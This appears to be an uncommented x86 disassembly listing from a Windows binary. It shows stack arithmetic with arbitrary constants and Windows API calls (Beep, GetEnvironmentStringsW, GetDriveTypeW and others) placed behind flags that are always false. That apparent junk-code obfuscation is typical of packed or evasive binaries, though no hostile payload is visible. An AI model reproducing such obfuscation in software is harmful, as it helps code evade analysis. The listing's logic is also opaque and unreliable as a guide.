mov dword [eax], 0xfffffffc
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x858]
cmp dword [ebp - 0x2c], edi
jl 0x4382a4
xor eax, eax
inc eax
push eax
call fcn.00415bdb
and dword [eax], 0
jmp 0x4382fb
xor eax, eax
inc eax
push eax
call fcn.00415bdb
lea ecx, [ebp - 0x750]
push dword [eax]
call fcn.00415bdb
lea ecx, [ebp - 0x858]
mov dword [eax], 0xfffffffe
xor eax, eax
inc eax
push eax
call fcn.00415bdb
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x858]
inc eax
push eax
call fcn.00415bdb
lea ecx, [ebp - 0x858]
cmp dword [eax], esi
jl 0x4382ce
call fcn.00415bbf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x14
jne 0x438291
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jge 0x438198
lea ecx, [ebp - 0x750]
call fcn.00415bbf
push 2
pop ebx
mov dword [ebp - 4], ebx
xor eax, eax
cmp dword [ebp - 4], eax
jl 0x4384de
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x40], 0x5f1d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffff7
pop ecx
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x40]
mov byte [ebp - 0x31], al
je 0x43838b
cmp byte [ebp - 0x31], al
je 0x4383a0
push 0xf69
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
jmp 0x4383a0
cmp byte [ebp - 0x31], al
je 0x4383a0
push 0x146
push 0x9b8
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov dword [ebp - 0x1c], 0x42a1
inc eax
xor edx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x44], 0x56e74e80
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], 0x5bc9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
sub eax, 0xf951fe77
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x1c]
test eax, eax
je 0x438415
mov dword [ebp - 0x18], 0x1f0dfbc4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x4384d2
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0x171c]
push ebx
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x438442
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x171c]
call fcn.00415bdb
mov dword [eax], 0x7a8360e5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x43842b
imul eax, dword [ebp - 0x20], 0x3f0a
cmp eax, dword [ebp - 0x28]
jl 0x438456
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x171c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor eax, eax
inc eax
push eax
call fcn.00415bdb
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ecx, dword [eax]
mov eax, 0xffff
setne dl
cmp edx, eax
ja 0x438490
inc dword [ebp - 0x58]
dec dword [ebp - 4]
jns 0x438350
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jge 0x437d75
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff7
push 8
pop edi
je 0x437720
movdqa xmm0, xmmword [0xab92b0]
lea eax, [ebp - 0x1f24]
push eax
lea eax, [ebp - 0x1f34]
push eax
lea ecx, [ebp - 0x2568]
movdqu xmmword [ebp - 0x1f34], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x410]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x9b0]
push dword [esi]
call fcn.00415b99
mov dword [ebp - 0x3c], edi
xor eax, eax
mov dword [ebp - 4], 0x1dba3399
mov dword [ebp - 0x2c], 0xf90edcad
mov dword [ebp - 0x18], 0x5362daab
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x438583
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x914], 0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x43856b
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x4385a3
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x19bc], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x43858b
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 4], eax
jne 0x4385e4
push eax
lea ecx, [ebp - 0x9b0]
call fcn.00415bdb
xor ebx, ebx
lea ecx, [ebp - 0x9b0]
push 3
cmp dword [eax], 0xffffffff
setge bl
call fcn.00415bdb
mov ecx, dword [ebp - 4]
xor edx, edx
cmp ebx, ecx
mov eax, dword [eax]
setne dl
sub eax, edx
cmp eax, edi
jne 0x4385e4
xor eax, eax
mov edi, eax
jmp 0x4385e9
xor eax, eax
lea edi, [eax + 1]
push 2
pop eax
push eax
lea ecx, [ebp - 0x9b0]
call fcn.00415bdb
mov ecx, dword [ebp - 0x2c]
mov esi, eax
imul ecx, edi
mov eax, 0xefa025ec
cmp eax, ecx
mov ecx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x3c]
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
setle bl
xor edx, edx
cmp ebx, eax
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x914]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, dword [esi]
setl al
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x19bc]
mov eax, dword [ebp - 0x914]
add eax, dword [ebp - 0x2c]
je 0x438674
xor ebx, ebx
lea ecx, [ebp - 0x9b0]
push ebx
call fcn.00415bdb
cmp dword [eax], ebx
je 0x438674
xor eax, eax
lea esi, [eax + 1]
jmp 0x438678
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x9b0]
call fcn.00415bdb
imul ecx, esi, 0xfbc6
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x9b0]
setle dl
mov dword [ebp - 0x914], edx
call fcn.00415bbf
push 2
pop edi
mov dword [ebp - 0x10], 0xfffffff6
lea ecx, [ebp - 0x20c]
push edi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x10], 0xfffffffd
inc eax
lea ecx, [ebp - 0xe18]
push eax
call fcn.00415aed
xor eax, eax
lea ecx, [ebp - 0x174c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x3c], 0x7a12b2fe
mov dword [ebp - 0x50], 0xffffffff
push 4
call fcn.00415aed
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x43871c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
mov dword [eax], 0xfd41
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4386fe
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc ebx
cmp dword [ebp - 0x14], ebx
jge 0x438748
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe18]
call fcn.00415bdb
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x438727
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x43876c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x174c]
call fcn.00415bdb
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x438751
xor eax, eax
push eax
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
cmp dword [eax], 0
je 0x43893f
movdqa xmm0, xmmword [0xab9200]
lea eax, [ebp - 0x20a4]
push eax
lea eax, [ebp - 0x20b4]
mov dword [ebp - 0x1c], 0x167f
push eax
lea ecx, [ebp - 0x24b0]
movdqu xmmword [ebp - 0x20b4], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x455]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1734]
push dword [esi]
call fcn.00415b99
mov dword [ebp - 0x18], 4
xor eax, eax
mov dword [ebp - 0x20], 0xa8b1460d
mov dword [ebp - 0x30], 0x3a50eb6b
mov dword [ebp - 0x40], 0xfffffffe
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edi
jge 0x43880d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x91c], 0x98c2
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x4387f5
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x43891d
push eax
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1734]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
push 3
call fcn.00415bdb
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax]
xor eax, eax
sub esi, ecx
lea ecx, [ebp - 0x20c]
push eax
call fcn.00415bdb
mov eax, dword [eax]
add eax, esi
test eax, eax
jle 0x438865
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x438867
inc eax
jmp 0x438867
xor eax, eax
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1734]
sub esi, eax
neg esi
push 3
sbb esi, esi
inc esi
call fcn.00415bdb
mov dword [eax], esi
mov eax, dword [ebp - 0x91c]
sub esi, eax
jne 0x438891
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x438894
xor eax, eax
inc eax
xor edi, edi
inc edi
cmp eax, edi
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffffffa
setge cl
sub ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x1d1a
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, eax
inc eax
push eax
call fcn.00415bdb
mov ecx, dword [ebp - 0x91c]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x20c]
setg bl
xor eax, eax
inc eax
push eax
call fcn.00415bdb
cmp ebx, dword [eax]
jne 0x4388ed
mov eax, dword [ebp - 0x91c]
xor ebx, ebx
lea ecx, [ebp - 0x20c]
push ebx
call fcn.00415bdb
mov eax, dword [ebp - 0x91c]
lea ecx, [ebp - 0x20c]
mov eax, dword [ebp - 0x18]
push ebx
call fcn.00415bdb
xor edi, edi
inc edi
cmp dword [eax], edi
jle 0x43891d
xor eax, eax
mov edx, eax
jmp 0x438922
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x1734]
dec dword [ebp - 0x40]
call fcn.00415bbf
jmp 0x43898a
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe6
jl 0x438979
xor edi, edi
inc edi
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x43896a
push eax
push edi
push 0x2402
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe6
push 0
pop eax
jge 0x438953
push eax
lea ecx, [ebp - 0xe18]
call fcn.00415bdb
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea ecx, [ebp - 0xe18]
push ebx
call fcn.00415bdb
push ebx
lea ecx, [ebp - 0x20c]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call fcn.00415bdb
mov ecx, dword [ebp - 0x10]
push ebx
sub ecx, dword [eax]
cmp ecx, 0x918cd8b1
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x4db59fb1
setg cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
mov ecx, dword [ebp - 0x3c]
cmp dword [eax], ecx
jne 0x4389e6
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x4389e8
xor edi, edi
inc edi
mov esi, edi
jmp 0x4389ed
xor eax, eax
xor edi, edi
mov esi, eax
inc edi
push eax
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
xor ebx, ebx
lea ecx, [ebp - 0x20c]
cmp esi, dword [eax]
sete bl
xor eax, eax
push eax
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], ebx
setne cl
xor ebx, ebx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20c]
push ebx
call fcn.00415bdb
mov ecx, dword [ebp - 0x50]
xor edx, edx
cmp dword [ebp - 0x20], ecx
push ebx
sete dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20c]
call fcn.00415bdb
mov ecx, dword [ebp - 0x58]
xor edx, edx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x174c]
pop eax
setl dl
cmp edx, dword [ebp - 0x20]
push eax
setle bl
call fcn.00415bdb
lea ecx, [ebp - 0x174c]
mov dword [eax], ebx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x20], 0xfffffffd
call fcn.00415bbf
lea ecx, [ebp - 0xe18]
call fcn.00415bbf
lea ecx, [ebp - 0x20c]
call fcn.00415bbf
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0xa624cdb
push 2
mov dword [ebp - 0x38], 0x17c10977
pop ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x40], 0x5ed761e7
push 3
mov dword [ebp - 4], eax
pop esi
cmp dword [ebp - 4], esi
jge 0x438ad2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1764], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x438abe
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jle 0x438c4f
mov dword [ebp - 0xc], 0xffff
xor edx, edx
mov dword [ebp - 0x30], 0x9bf5
mov dword [ebp - 0x30], 0x6dc06892
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x175c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x1c]
cmp ecx, 0xdae974ca
jbe 0x438b95
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3b
jle 0x438b66
mov dword [ebp - 0x20], 0x8aae07ea
mov dword [ebp - 0x18], 0xb3799040
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x3b
jg 0x438b47
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x438bd3
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1764], 0
jne 0x438bd1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x438b8e
push eax
push 0x2418
push eax
call edi
dec dword [ebp - 0x1c]
jns 0x438b6e
jmp 0x438bd1
push 7
xor ecx, ecx
pop eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x38]
cmp eax, 0xfffffff7
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x1760]
mov eax, dword [ebp - 0x24]
inc ecx
cmp ecx, eax
setg dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x438bd1
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
mov dword [ebp - 0x38], 4
cmp dword [ebp - 0x38], 5
jge 0x438c3f
push 7
pop ebx
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x1978]
xor eax, eax
mov dword [ebp - 0x30], 0xb2811ff
inc eax
push eax
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x18], 0x97e65fb
mov dword [ebp - 4], eax
jmp 0x438c17
push dword [ebp - 4]
call fcn.00415bdb
mov dword [eax], ebx
inc dword [ebp - 4]
xor eax, eax
lea ecx, [ebp - 0x1978]
inc eax
cmp dword [ebp - 4], eax
jl 0x438c0a
dec dword [ebp - 0x18]
dec dword [ebp - 0x40]
call fcn.00415bbf
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 5
push 0
pop eax
jl 0x438be3
push 2
pop ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x19
push 0
pop eax
jg 0x438ae5
mov dword [ebp - 4], 0x25b9b55b
mov dword [ebp - 4], eax
jmp 0x438c7b
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x20], eax
jne 0x438c81
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x438c78
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x18
jg 0x438c5b
push 4
lea ecx, [ebp - 0xff8]
call fcn.00415aed
push esi
lea ecx, [ebp - 0x177c]
call fcn.00415aed
mov eax, 0xffff
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x438cca
push dword [ebp - 0x14]
lea ecx, [ebp - 0x177c]
call fcn.00415bdb
mov dword [eax], 0x4a025691
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x438cac
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x438cea
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19d0], 0x86cce57b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x438cd2
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x438cfc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2344], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x438cef
push ebx
lea ecx, [ebp - 0x177c]
call fcn.00415bdb
lea ecx, [ebp - 0x177c]
mov eax, dword [eax]
mov dword [ebp - 0x19cc], eax
mov dword [ebp - 0x2340], eax
inc dword [ebp - 0x18]
call fcn.00415bbf
xor eax, eax
mov dword [ebp - 0x10], 0x4a18885c
inc eax
lea ecx, [ebp - 0x7c8]
push eax
call fcn.00415aed
mov dword [ebp - 0x38], 0xfffffffa
xor eax, eax
xor esi, esi
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 4], eax
inc esi
cmp dword [ebp - 4], esi
jge 0x438d7e
push dword [ebp - 4]
lea ecx, [ebp - 0x7c8]
call fcn.00415bdb
mov dword [eax], 0xb457102d
xor eax, eax
inc dword [ebp - 4]
inc eax
cmp dword [ebp - 4], eax
jl 0x438d5a
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x7c8]
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], ecx
sete cl
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0xfffffffb
cmp dword [ebp - 0x38], 0xfffffff1
je 0x438e8b
xor eax, eax
mov dword [ebp - 0xc], 0x6b6eb6b9
mov dword [ebp - 0xc], 0xffffffeb
cmp dword [ebp - 0xc], 0xffffffef
jl 0x438e65
mov dword [ebp - 0x18], 0x9d585ed0
lea ecx, [ebp - 0x7c8]
push eax
mov dword [ebp - 0x20], 0xffffffff
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], ecx
jne 0x438e10
mov eax, dword [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x7c8]
call fcn.00415bdb
xor ebx, ebx
lea ecx, [ebp - 0x7c8]
cmp dword [eax], esi
setge bl
xor eax, eax
push eax
call fcn.00415bdb
mov eax, dword [eax]
imul eax, ebx
test eax, eax
jne 0x438e10
mov esi, eax
jmp 0x438e15
xor eax, eax
lea esi, [eax + 1]
push eax
lea ecx, [ebp - 0x7c8]
call fcn.00415bdb
mov ecx, dword [ebp - 0xc]
xor edx, edx
push 0
cmp ecx, dword [eax]
setne dl
xor ecx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
cmp esi, eax
sete cl
xor edx, edx
sub ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setl cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffef
push 1
pop esi
jge 0x438dbf
mov dword [ebp - 0x24], eax
jmp 0x438e72
cmp dword [ebp - 0xc], eax
jne 0x438e78
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x438e6a
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff1
push 1
pop esi
jne 0x438da7
push 2
pop ebx
lea ecx, [ebp - 0x7c8]
call fcn.00415bbf
mov eax, 0x925d3c09
xor ecx, ecx
mov dword [ebp - 0xd90], eax
mov dword [ebp - 0xd8c], eax
mov dword [ebp - 0xd88], eax
mov dword [ebp - 0xd84], eax
xor eax, eax
mov dword [ebp - 0x38], eax
inc eax
mov dword [ebp - 0xd10], eax
mov dword [ebp - 0xd0c], eax
mov dword [ebp - 0xd08], eax
mov dword [ebp - 0xd04], eax
mov dword [ebp - 0x38], 0xc69aed23
mov eax, dword [ebp - 0x38]
cmp eax, 0xfffffff6
setne cl
xor eax, eax
add ecx, 0xa115
mov dword [ebp - 0xd10], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xfffffff7
jg 0x438f41
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xd0c]
mov dword [ebp - 0xd10], eax
mov dword [ebp - 4], 0x1b
cmp dword [ebp - 4], 0xfffffff2
jne 0x438f36
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x438f2d
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
xor eax, eax
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff2
je 0x438f1b
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff7
jle 0x438efa
xor eax, eax
mov dword [ebp - 0x2c], 0x20624039
xor ecx, ecx
mov dword [ebp - 0x30], 0x39e3cf95
inc ecx
mov dword [ebp - 0x30], 0xed6f1860
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x18], 0x4151c8b9
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ecx
jge 0x438f8d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1938], 0x9ab5c294
xor eax, eax
inc dword [ebp - 4]
inc eax
cmp dword [ebp - 4], eax
jl 0x438f72
xor eax, eax
mov dword [ebp - 0x2c], eax
mov ecx, 0x44142b91
jmp 0x439048
mov dword [ebp - 4], 0x76ff55e0
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 5
jge 0x439045
mov dword [ebp - 0x20], 0xa1fa
lea ecx, [ebp - 0x25b0]
mov dword [ebp - 0x30], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x1f44]
push eax
lea eax, [ebp - 0x1f54]
push eax
movdqu xmmword [ebp - 0x1f54], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x412]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x2284]
push dword [esi]
call fcn.00415b99
mov dword [ebp - 0x20], 0xca9869ec
lea ecx, [ebp - 0x2284]
dec dword [ebp - 0x18]
call fcn.00415bbf
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
push 0
pop eax
jl 0x438fd3
mov ecx, 0x44142b91
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffc
jl 0x438f9a
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x439064
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x43908c
push dword [ebp - 4]
lea ecx, [ebp - 0xff8]
call fcn.00415bdb
mov dword [eax], 0xb3198a8f
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x43906d
xor eax, eax
xor esi, esi
inc esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 0x3ca30775
mov dword [ebp - 0x30], 0x44d5
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x4390c2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1c4], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x4390a9
xor eax, eax
cmp dword [ebp - 0x14], 0xa4a1
jge 0x439128
mov dword [ebp - 4], 0x8872
mov dword [ebp - 0x20], 0xfffffffe
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
test eax, eax
jne 0x439101
cmp dword [ebp - 0x14], eax
jne 0x4390eb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
xor eax, eax
cmp dword [ebp - 0x1c0], eax
jne 0x439101
cmp dword [ebp - 4], eax
jne 0x439101
mov ecx, eax
jmp 0x439109
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x1c4], ecx
jmp 0x439246
mov dword [ebp - 0x24], 0xaee51190
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x439248
mov dword [ebp - 4], eax
jmp 0x439151
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x2590], 6
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x439140
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2588]
mov eax, dword [ebp - 0x1c0]
neg eax
push 2
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x6a426232
mov eax, dword [ebp - 0x1bc]
setne dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ebx, ebx
cmp edx, eax
setle bl
xor ecx, ecx
add ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c0]
cmp ebx, eax
pop ebx
setg cl
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x24], 0xfffffffa
cmp dword [ebp - 0x24], 0xfffffff3
jge 0x439237
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x4391f0
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x19e4], esi
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x4391dc
xor eax, eax
mov dword [ebp - 0x1c], 0x1a
jmp 0x439228
mov dword [ebp - 0x20], 0xb0538fd2
cmp dword [ebp - 0x19e0], eax
jne 0x43922e
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x1c4]
cmp eax, esi
pop eax
setg cl
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x20], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jle 0x4391f9
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff3
jl 0x4391d4
inc dword [ebp - 0x14]
push 0
pop eax
cmp dword [ebp - 0x14], ebx
jle 0x43913b
xor eax, eax
